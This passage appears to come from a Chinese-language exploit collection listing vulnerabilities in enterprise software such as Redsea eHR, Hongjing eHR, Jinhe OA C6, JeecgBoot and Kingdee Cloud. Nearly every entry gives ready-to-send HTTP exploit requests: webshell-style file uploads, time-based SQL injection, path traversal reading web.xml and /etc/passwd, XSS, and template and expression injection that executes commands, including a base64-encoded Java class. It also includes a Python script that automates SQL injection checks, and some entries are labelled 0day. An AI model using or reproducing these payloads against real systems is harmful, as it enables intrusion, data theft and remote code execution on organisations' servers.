User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryt7WbDl1tXogoZys4

------WebKitFormBoundaryt7WbDl1tXogoZys4
Content-Disposition: form-data; name="fj_file"; filename="11.jsp"
Content-Type:image/jpeg

<% out.print("hello,eHR");%>
------WebKitFormBoundaryt7WbDl1tXogoZys4--
```

红海云eHR系统kgFile.mob存在任意文件上传漏洞

- 漏洞类型：0day - RCE
- 涉及版本：未知
- 利用路径：/RedseaPlatform/kqFile.mob
- 漏洞详情：

```
POST /RedseaPlatform/kqFile.mob?method=uploadFile&fileName=fbjgrohu.jsp HTTP/1.1
Host: 
User-Agent: Go-http-client/1.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryeaaGwoqCxccjHcca
Accept-Encoding: gzip, deflate, br
Connection: close
Content-Length: 183

------WebKitFormBoundaryeaaGwoqCxccjHcca
Content-Disposition: form-data; name="fj_file"; filename="fbjgrohu.jpg"

<% out.println(111*111); %>
------WebKitFormBoundaryeaaGwoqCxccjHcca--
```

红海云eHR系统pc.mob存在sql注入漏洞

- 漏洞类型：1day - SQL注入
- 涉及版本：未知
- 利用路径：/RedseaPlatform/goApp/pc.mob
- 漏洞详情：

```
GET /RedseaPlatform/goApp/pc.mob?id=1%27%20AND%20(SELECT%204802%20FROM%20(SELECT(SLEEP(5)))ndMq)%20AND%20%27NEoX%27=%27NEoX HTTP/1.1
Host: {{Hostname}}
Cookie: JSESSIONID=905D36CF9349B41FBFB0203D2BAA8CCC
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
```

宏景

宏景eHR-HCM-DisplayExcelCustomReport接口存在任意文件读取漏洞

- 漏洞类型：nday - 任意文件读取
- 涉及版本：未知
- 利用路径：/templates/attestation/../../servlet/DisplayExcelCustomReport
- 漏洞详情：

```
POST /templates/attestation/../../servlet/DisplayExcelCustomReport HTTP/1.1
Host: 
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded

filename=../webapps/ROOT/WEB-INF/web.xml
```

宏景eHR系统ajaxService接口处存在SQL注入漏洞

- 漏洞类型：nday - SQL注入
- 涉及版本：未知
- 利用路径：/ajax/ajaxService
- 漏洞详情：

```
POST /ajax/ajaxService HTTP/1.1
Host:
Cookie: 抓到的cookie
Content-Type: application/x-www-form-urlencoded

__type=extTrans&__xml=
{"functionId":"151211001137","sql":"select~20sys.fn_sqlvarbasetostr(HASHBYTES('MD5','1'))~20a~30~31~30~30~2c~31~20a~30~31~30~31~2c~31~20b~30~31~31~30~2c~31~20e~30~31~32~32~2c~31~20e~30~31a~31~2c~31~20dbase~2c~31~20a~30~30~30~30~20from~20operuser","nbase":"1"}
```

宏脉

宏脉医美行业管理系统DownLoadServerFile任意文件读取下载漏洞

- 漏洞类型：0day - 任意文件下载
- 涉及版本：未知
- 利用路径：/zh-CN/PublicInterface/DownLoadServerFile
- 漏洞详情：

```
POST /zh-CN/PublicInterface/DownLoadServerFile HTTP/1.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate

filePath=c:\windows\win.ini
```

华磊

华磊科技物流modifyInsurance存在sql注入漏洞

- 漏洞类型：nday - SQL注入
- 涉及版本：未知
- 利用路径：/modifyInsurance.htm
- 漏洞详情：

```
GET /modifyInsurance.htm?documentCode=1&insuranceValue=1&customerId=1+AND+6269=(SELECT+6269+FROM+PG_SLEEP(5)) HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
```

华磊科技物流getOrderTrackingNumber存在sql注入漏洞

- 漏洞类型：1day - SQL注入
- 涉及版本：未知
- 利用路径：/getOrderTrackingNumber.htm
- 漏洞详情：

```
GET /getOrderTrackingNumber.htm?documentCode=1'and%0a1=user::integer-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:125.0) Gecko/20100101 Firefox/125.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
```

华天动力

华天动力-OA-downloadWpsFile任意文件读取

- 漏洞类型：nday - 任意文件读取
- 涉及版本：未知
- 利用路径：/OAapp/jsp/downloadWpsFile.jsp
- 漏洞详情：

```
GET /OAapp/jsp/downloadWpsFile.jsp?fileName=../../../../../../htoa/Tomcat/webapps/ROOT/WEB-INF/web.xml HTTP/2
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3)AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip, deflate
```

华夏

华夏ERPV3.3存在信息泄漏漏洞

- 漏洞类型：nday - 信息泄露
- 涉及版本：V3.3
- 利用路径：/jshERP-boot/platformConfig/getPlatform/..;/..;/..;/jshERP-boot/user/getAllList
- 漏洞详情：

```
GET /jshERP-boot/platformConfig/getPlatform/..;/..;/..;/jshERP-boot/user/getAllList HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
```

汇思

汇思科技wizBank存在远程代码执行漏洞

- 漏洞类型：0day - RCE
- 涉及版本：未知
- 利用路径：/servlet/Dispatcher?isExcludes=true
- 漏洞详情：

```
未知
```

汇智

汇智ERP-filehandle.aspx存在任意文件读取漏洞

- 漏洞类型：nday - 任意文件读取
- 涉及版本：未知
- 利用路径：/nssys/common/filehandle.aspx
- 漏洞详情：

```
GET /nssys/common/filehandle.aspx?filepath=C%3a%2fwindows%2fwin%2eini HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
```

汇智企业资源管理系统存在文件上传漏洞

- 漏洞类型：1day - RCE
- 涉及版本：未知
- 利用路径：/nssys/common/Upload.aspx
- 漏洞详情：

```
POST /nssys/common/Upload.aspx?Action=DNPageAjaxPostBack HTTP/1.1
Host: 127.0.0.1:8031
Content-Length: 1033
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary= ----
WebKitFormBoundaryLkkAXATqVKBHZ8zk
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/115.0.5790.171 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image
/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: ASP.NET_SessionId=wxybf2dxluu5sjlb2vxdyrsa
Connection: close

------WebKitFormBoundaryLkkAXATqVKBHZ8zk
Content-Disposition: form-data; name="__VIEWSTATE"

/wEPDwUJOTc0NzkxMzQ1D2QWAgIDDxYGHhdJc0JlZm9yZU9wZXJhdGVTYXZlRGF0YWgeBmlzZ3VpZAUBM
R4OY2hlY2tmb3Jtc3RhdGUFATBkZHwobq1hNj9MTgjOtrIn/0gbCdhD
------WebKitFormBoundaryLkkAXATqVKBHZ8zk
Content-Disposition: form-data; name="__VIEWSTATEGENERATOR"

573D6CFB
------WebKitFormBoundaryLkkAXATqVKBHZ8zk
Content-Disposition: form-data; name="upfile_Input"


------WebKitFormBoundaryLkkAXATqVKBHZ8zk
Content-Disposition: form-data; name="upfile_upload"; filename="1"
Content-Type: image/jpeg

<!DOCTYPE html>
<html>
<head>
    <title>ASP.NET Web Forms Example</title>
</head>
<body>
    <%@ Page Language="C#" %>
    <% Response.Write("hello,world"); %>
</body>
</html>
------WebKitFormBoundaryLkkAXATqVKBHZ8zk
Content-Disposition: form-data; name="upfilename"
```

```
2.aspx
------WebKitFormBoundaryLkkAXATqVKBHZ8zk
Content-Disposition: form-data; name="dnpostmethodname"

uploadfile
------WebKitFormBoundaryLkkAXATqVKBHZ8zk--
```

会捷通

会捷通云视讯 fileDownload 任意文件读取漏洞

- 漏洞类型：nday - 任意文件读取
- 涉及版本：未知
- 利用路径：/fileDownload?action=downloadBackupFile
- 漏洞详情：

```
POST /fileDownload?action=downloadBackupFile HTTP/1.1
Host:
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36(KHTML,
like Gecko) Chrome/90.0.4430.212 Safari/537.36

fullPath=%2Fetc%2Fpasswd
```

积木

JeecgBoot SQL注入漏洞

- 漏洞类型：未知 - SQL注入
- 涉及版本：未知
- 利用路径：/jeecg-boot/contractor/contractor/list
- 漏洞详情：

```
未知
```

JeecgBoot反射型XSS漏洞

- 漏洞类型：1day - XSS
- 涉及版本：未知
- 利用路径：/userController.do
- 漏洞详情：

```
GET /userController.do?%3CsCrIpT%3Ealert(document.domain)%3C/sCrIpT%3E HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Macintosh; Intel MacOS X 10.15; rv:126.0)
Gecko/20100101Firefox/126.0
```

积木报表JeecgBoot被爆存在.net反序列化RCE 0day漏洞

- 漏洞类型：1day - RCE
- 涉及版本：未知
- 利用路径：/jeecg-boot/jmreport/save?previousPage=xxx&jmLink=YWFhfHxiYmI=
- 漏洞详情：

```
/jeecg-boot/jmreport/save?previousPage=xxx&jmLink=YWFhfHxiYmI=
```

积木报表JeecgBoot存在SQL注入

- 漏洞类型：nday - SQL注入
- 涉及版本：未知
- 利用路径：/jeecg-boot/jmreport/queryFieldBySql
- 漏洞详情：

```
POST /jeecg-boot/jmreport/queryFieldBySql?
previousPage=xxx&jmLink=YWFhfHxiYmI=&token=123123 HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; Baiduspider/2.0;
http://www.baidu.com/search/spider.html)
Accept: */*
Accept-Language: zh-CN,zh;q=0.9
Connection: keep-alive
Content-Type: application/json
Cache-Control: no-cache
Pragma: no-cache
Host: 192.168.131.100:8088
Content-Length: 21

{"sql":"select '1' "}
```

JeecgBoot系统AviatorScript表达式注入漏洞

- 漏洞类型：nday - RCE
- 涉及版本：未知
- 利用路径：/jeecg-boot/jmreport/save?previousPage=xxx&jmLink=YWFhfHxiYmI=&token=123
- 漏洞详情：

```
POST /jeecg-boot/jmreport/save?previousPage=xxx&jmLink=YWFhfHxiYmI=&token=123
HTTP/1.1
Host: 192.168.37.1:8088
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101
Firefox/115.0
Accept: application/json, text/plain, */*
Content-Type: application/json
Content-Length: 3456


{
    "loopBlockList": [],
    "area": false,
    "printElWidth": 718,
    "excel_config_id": "980882669965455363",
    "printElHeight": 1047,
    "rows": {
        "4": {
            "cells": {
                "4": {
                    "text": "=(use org.springframework.cglib.core.*;use 
org.springframework.util.*;ReflectUtils.defineClass('test', 
Base64Utils.decodeFromString('yv66vgAAADQANgoACQAlCgAmACcIACgKACYAKQcAKgcAKwoABgA
sBwAtBwAuAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFi
bGVUYWJsZQEABHRoaXMBAAZMdGVzdDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94Y
Wxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3Nlcm
lhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGF
jaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFj
aGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9uc
wcALwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi
9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGF
jaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRv
cgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHa
GFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaX
phdGlvbkhhbmRsZXI7AQAIPGNsaW5pdD4BAAFlAQAVTGphdmEvaW8vSU9FeGNlcHRpb247AQANU3RhY2t
NYXBUYWJsZQcAKgEAClNvdXJjZUZpbGUBAAl0ZXN0LmphdmEMAAoACwcAMAwAMQAyAQAEY2FsYwwAMwA0
AQATamF2YS9pby9JT0V4Y2VwdGlvbgEAGmphdmEvbGFuZy9SdW50aW1lRXhjZXB0aW9uDAAKADUBAAR0Z
XN0AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3
RUcmFuc2xldAEAOWNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9UcmFuc2xldEV
4Y2VwdGlvbgEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50
aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABgoTGphd
mEvbGFuZy9UaHJvd2FibGU7KVYAIQAIAAkAAAAAAAQAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAA
ACAA0AAAAGAAEAAAAJAA4AAAAMAAEAAAAFAA8AEAAAAAEAEQASAAIADAAAAD8AAAADAAAAAbEAAAACAA0
AAAAGAAEAAAAWAA4AAAAgAAMAAAABAA8AEAAAAAAAAQATABQAAQAAAAEAFQAWAAIAFwAAAAQAAQAYAAEA
EQAZAAIADAAAAEkAAAAEAAAAAbEAAAACAA0AAAAGAAEAAAAbAA4AAAAqAAQAAAABAA8AEAAAAAAAAQATA
BQAAQAAAAEAGgAbAAIAAAABABwAHQADABcAAAAEAAEAGAAIAB4ACwABAAwAAABmAAMAAQAAABe4AAISA7
YABFenAA1LuwAGWSq3AAe/sQABAAAACQAMAAUAAwANAAAAFgAFAAAADQAJABAADAAOAA0ADwAWABEADgA
AAAwAAQANAAkAHwAgAAAAIQAAAAcAAkwHACIJAAEAIwAAAAIAJA=='), 
ClassLoader.getSystemClassLoader());)",
                    "style": 0
                }
            },
            "height": 25
        },
        "len": 96,
        "-1": {
            "cells": {
                "-1": {
                    "text": "${gongsi.id}"
                }
            },
            "isDrag": true
        }
    },
    "dbexps": [],
    "toolPrintSizeObj": {
        "printType": "A4",
        "widthPx": 718,
        "heightPx": 1047
    },
    "dicts": [],
    "freeze": "A1",
    "dataRectWidth": 701,
    "background": false,
    "name": "sheet1",
    "autofilter": {},
    "styles": [
        {
            "align": "center"
        }
    ],
    "validations": [],
    "cols": {
        "4": {
            "width": 95
        },
        "len": 50
    },
    "merges": [
        "E4:F4",
        "B4:B5",
        "C4:C5",
        "D4:D5",
        "G4:G5",
        "H4:H5",
        "I4:I5",
        "D1:G1",
        "H3:I3"
    ]
}
```

建文

建文工程管理系统BusinessManger.ashx存在SQL注入漏洞

- 漏洞类型：1day - SQL注入
- 涉及版本：未知
- 利用路径：/AppInterface/Business/BusinessManger.ashx
- 漏洞详情：

```
POST /AppInterface/Business/BusinessManger.ashx HTTP/1.1
Host:
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15
(KHTML, like Gecko) Version/12.0.3 Safari/605.1.15

method=PrjType&content=%' and 1=2 union select 1,
(select+SUBSTRING(sys.fn_sqlvarbasetostr(HASHBYTES('MD5','233')),3,32));-- a
```

建文工程管理系统desktop.ashx存在SQL注入漏洞

- 漏洞类型：1day - SQL注入
- 涉及版本：未知
- 利用路径：/SysFrame4/Desktop.ashx
- 漏洞详情：

```
POST /SysFrame4/Desktop.ashx HTTP/1.1
Host:
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15
(KHTML, like Gecko) Version/12.0.3 Safari/605.1.15

account=1'+and+%01(select+SUBSTRING(sys.fn_sqlvarbasetostr(HASHBYTES('MD5','233')
),3,32))<0--&method=isChangePwd&pwd=
```

捷诚

捷诚管理信息系统 SQL注入漏洞

- 漏洞类型：nday - SQL注入
- 涉及版本：未知
- 利用路径：EnjoyRMIS_WS/WS/APS/CWSFinanceCommon.asmx
- 漏洞详情：

```
import time
import requests

def verify(ip):
    url = f'{ip}EnjoyRMIS_WS/WS/APS/CWSFinanceCommon.asmx'
    headers = {
        'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/41.0.2228.0 Safari/537.36',
        'Connection': 'close',
        'Content-Length': '369',
        'Accept': '*/*',
        'Accept-Language': 'en',
        'Content-Type': 'text/xml; charset=utf-8',
        'Accept-Encoding': 'gzip',
    }
    payload = '''<?xml version="1.0" encoding="utf-8"?>
    <soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
        <soap:Body>
        <GetOSpById xmlns="http://tempuri.org/">
            <sId>1';waitfor delay '0:0:5'--+</sId>
        </GetOSpById>
        </soap:Body>
    </soap:Envelope>'''
    try:
        start_time = time.time()
        response = requests.post(url, headers=headers, data=payload,verify=False)
        end_time = time.time()
        res_time = end_time - start_time
        # 验证成功输出相关信息
        if response.status_code == 200 and res_time > 5 and res_time < 8:
            print(f"{ip}存在捷诚管理信息系统SQL注入漏洞！！！")

    except Exception as e:
        pass

if __name__ == '__main__':
    self = input('请输入目标主机IP地址：')
    verify(self)
```

金蝶

金蝶-云星空-SQL注入

- 漏洞类型：nday - SQL注入
- 涉及版本：未知
- 利用路径：/K3Cloud/Kingdee.BOS.ServiceFacade.ServicesStub.Account.AccountService.GetDataCenterList.common.kdsvc
- 漏洞详情：

```
/K3Cloud/Kingdee.BOS.ServiceFacade.ServicesStub.Account.AccountService.GetDataCenterList.common.kdsvc
```

金蝶云星空ScpSupRegHandler任意文件上传漏洞

- 漏洞类型：nday - RCE
- 涉及版本：未知
- 利用路径：/k3cloud/SRM/ScpSupRegHandler
- 漏洞详情：

```
POST /k3cloud/SRM/ScpSupRegHandler HTTP/1.1
Host:
Accept-Encoding: identity
Content-Length: 285
Accept-Language: zh-CN,zh;q=0.8
Accept: */*
Cache-Control: max-age=0
Content-Type: multipart/form-data; boundary=test

--test
Content-Disposition: form-data; name="dbId_v"


.
--test
```

```
Content-Disposition: form-data; name="FID"

2022
--test
Content-Disposition: form-data; name="FAtt";
filename="../../../../uploadfiles/test.asp."
Content-Type: text/plain

<% Response.Write("test") %>
--test--
```

金斗云

金斗云HKMP智慧商业软件queryPrintTemplate存在SQL注入漏洞

- 漏洞类型：nday - SQL注入
- 涉及版本：未知
- 利用路径：/admin/configApp/queryPrintTemplate
- 漏洞详情：

```
POST /admin/configApp/queryPrintTemplate HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/119.0.6045.159 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image
/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Content-Type: application/json
{"appId":"hkmp","data":
{"adminUserCode":"test1234","adminUserName":"test1234","appName":"悟空POS Win版'
AND (SELECt 5 from (select(sleep(2)))x) and
'zz'='zz","configGroup":"1","mchId":"0001"},"deviceId":"hkmp","mchId":"hkmp","non
ce":3621722933,"sign":"hkmp","timestamp":1719306504}
```

金和

金和 OA C6CreateGroup 接口注入漏洞

- 漏洞类型：1day - SQL注入
- 涉及版本：未知
- 利用路径：未知
- 漏洞详情：

```
未知
```

金和OA C6 GeneralXmlhttpPage.aspx SQL注入漏洞

- 漏洞类型：0day - SQL注入
- 涉及版本：C6
- 利用路径：未知
- 漏洞详情：

```
未知
```

金和OA jc6 clobfield SQL注入漏洞

- 漏洞类型：nday - SQL注入
- 涉及版本：C6
- 利用路径：/jc6/servlet/clobfield
- 漏洞详情：

```
POST /jc6/servlet/clobfield HTTP/1.1
host:127.0.0.1

key=readClob&sImgname=filename&sTablename=FC_ATTACH&sKeyname=djbh&sKeyvalue=11%27%2F**%2Fand%2F**%2FCONVERT%28int%2C%40%40version%29%3D1%2F**%2Fand%2F**%2F%27%27%3D%27
```

金和OA-C6-IncentivePlanFulfill.aspx存在SQL注入漏洞

- 漏洞类型：nday - SQL注入
- 涉及版本：C6
- 利用路径：/C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfill.aspx
- 漏洞详情：

```
GET /C6/JHSoft.Web.IncentivePlan/IncentivePlanFulfill.aspx/?IncentiveID=1WAITFOR+DELAY+%270:0:6%27--&TVersion=1 HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36
Connection: close
Cookie: ASP.NET_SessionId=0uha1u0nhrn4meghddjiwu0y
Accept-Encoding: gzip
```

金和OA_CarCardInfo.aspx_SQL注入漏洞

- 漏洞类型：nday - SQL注入
- 涉及版本：C6
- 利用路径：/c6/JHSoft.Web.Vehicle/CarCardInfo.aspx
- 漏洞详情：

```
POST /c6/JHSoft.Web.Vehicle/CarCardInfo.aspx/ HTTP/1.1
Host: your_ip
Content-Length: 2096
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML,
like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image
/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: ASP.NET_SessionId=dvljrtibwe4dne1nyvda0iw1; myie=false
Connection: close

_ListPage1LockNumber=1&_ListPage1RecordCount=0&__VIEWSTATE=%2FwEPDwUKMjAyNTc4NzA3
NA8WAh4Ic3RyUXVlcnkFCWRlbGZsYWc9MBYCZg9kFgQCAg8PFgIeBFRleHQFBuafpeivomRkAgMPDxYMH
glfUGFnZVNpemUCKB4PX1NvcnRBdHRyaWJ1dGVzMtgDAAEAAAD%2F%2F%2F%2F%2FAQAAAAAAAAAMAgAA
AFFVc2VyV2ViQ29udHJvbC5EYXRhR3JpZCwgVmVyc2lvbj04LjUuNS4xMDAxLCBDdWx0dXJlPW5ldXRyY
WwsIFB1YmxpY0tleVRva2VuPW51bGwFAQAAADlVc2VyV2ViQ29udHJvbC5EYXRhR3JpZC5EYXRhR3JpZC
tTb3J0QXR0cmlidXRlc0NvbGxlY3Rpb24BAAAAEEF0dHJpYkNvbGxlY3Rpb24EOFVzZXJXZWJDb250cm9
sLkRhdGFHcmlkLkRhdGFHcmlkK1NvcnRBdHRyaWJ1dGVDb2xsZWN0aW9uAgAAAAIAAAAJAwAAAAUDAAAA
OFVzZXJXZWJDb250cm9sLkRhdGFHcmlkLkRhdGFHcmlkK1NvcnRBdHRyaWJ1dGVDb2xsZWN0aW9uAQAAA
BNDb2xsZWN0aW9uQmFzZStsaXN0AxxTeXN0ZW0uQ29sbGVjdGlvbnMuQXJyYXlMaXN0AgAAAAkEAAAABA
QAAAAcU3lzdGVtLkNvbGxlY3Rpb25zLkFycmF5TGlzdAMAAAAGX2l0ZW1zBV9zaXplCF92ZXJzaW9uBQA
ACAgJBQAAAAAAAAAAAAAAEAUAAAAAAAAACx4MX1JlY29yZENvdW50Zh4HX2J1dHRvbjLsBAABAAAA%2F%
2F%2F%2F%2FwEAAAAAAAAADAIAAABRVXNlcldlYkNvbnRyb2wuRGF0YUdyaWQsIFZlcnNpb249OC41LjU
uMTAwMSwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1udWxsBQEAAAAyVXNlcldlYkNvbnRy
b2wuRGF0YUdyaWQuRGF0YUdyaWQrQnV0dG9uc0NvbGxlY3Rpb24BAAAAB2J1dHRvbnMEL1VzZXJXZWJDb
250cm9sLkRhdGFHcmlkLkRhdGFHcmlkK0l0ZW1Db2xsZWN0aW9uAgAAAAIAAAAJAwAAAAUDAAAAL1VzZX
JXZWJDb250cm9sLkRhdGFHcmlkLkRhdGFHcmlkK0l0ZW1Db2xsZWN0aW9uAQAAABNDb2xsZWN0aW9uQmF
zZStsaXN0AxxTeXN0ZW0uQ29sbGVjdGlvbnMuQXJyYXlMaXN0AgAAAAkEAAAABAQAAAAcU3lzdGVtLkNv
bGxlY3Rpb25zLkFycmF5TGlzdAMAAAAGX2l0ZW1zBV9zaXplCF92ZXJzaW9uBQAACAgJBQAAAAEAAAABA
AAAEAUAAAAEAAAACQYAAAANAwUGAAAAJVVzZXJXZWJDb250cm9sLkRhdGFHcmlkLkRhdGFHcmlkK0l0ZW
0EAAAABF9JbWcGX1RpdGxlCF9EaXNwbGF5EV9Eb3NjcmlwdGlvblRpdGxlAQEAAQECAAAABgcAAAA3Li4
vSkhzb2Z0LlVJLkxpYi9pbWFnZXMvaWNvbi50b29sYmFyLzE2cHgvZGV0ZXJtaW5lLnBuZwYIAAAABueh
ruWumgEGCQAAAAALHglfSWRlbnRpZnkCAR4LX2RhdGFTb3VyY2UFaTxyb290PjxyZWNvcmQ%2BPElEPjw
vSUQ%2BPGl0ZW0gQ29sdW1uTmFtZT0n6L2m5Z6LJz48L2l0ZW0%2BPGl0ZW0gQ29sdW1uTmFtZT0n54mM
54WnJz48L2l0ZW0%2BPC9yZWNvcmQ%2BPC9yb290PmRkZJju89%2Fcb0ViP%2BHqYZwpEbj%2BGmY0Eec
UW2zJyvdwmUng&txt_CarType=1');WAITFOR DELAY '0:0:5'--
&txt_CarCode=1&bt_Search=%B2%E9%D1%AF&__VIEWSTATEGENERATOR=0A1FC31B&__EVENTTARGET
=&__EVENTARGUMENT=
```

金和OA_HomeService.asmxSQL注入

- 漏洞类型：nday - SQL注入
- 涉及版本：C6
- 利用路径：/c6/jhsoft.mobileapp/AndroidSevices/HomeService.asmx/GetHomeInfo
- 漏洞详情：

```
GET /c6/jhsoft.mobileapp/AndroidSevices/HomeService.asmx/GetHomeInfo?userID=1'%3b+WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
```

金和OA_jc6_viewConTemplate.action存在FreeMarker模板注入漏洞

- 漏洞类型：nday - SQL注入
- 涉及版本：C6
- 利用路径：/jc6/platform/portalwb/portalwb-con-template!viewConTemplate.action
- 漏洞详情：

```
POST /jc6/platform/portalwb/portalwb-con-template!viewConTemplate.action HTTP/1.1
Host: your-ip
Accept-Encoding: gzip
Content-Type: application/x-www-form-urlencoded

moduId=1&code=%253Cclob%253E%2524%257B%2522freemarker.template.utility.Execute%2522%253Fnew%28%29%28%2522ipconfig%2522%29%257D%253C%252Fclob%253E&uuid=1
```

金和OA_MailTemplates.aspx_SQL注入漏洞

- 漏洞类型：nday - SQL注入
- 涉及版本：C6
- 利用路径：/C6/JHSoft.Web.Mail/MailTemplates.aspx
- 漏洞详情：

```
GET /C6/JHSoft.Web.Mail/MailTemplates.aspx/?tempID=1%3BWAITFOR+DELAY+%270%3A0%3A3%27-- HTTP/1.1
Host: you_ip
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
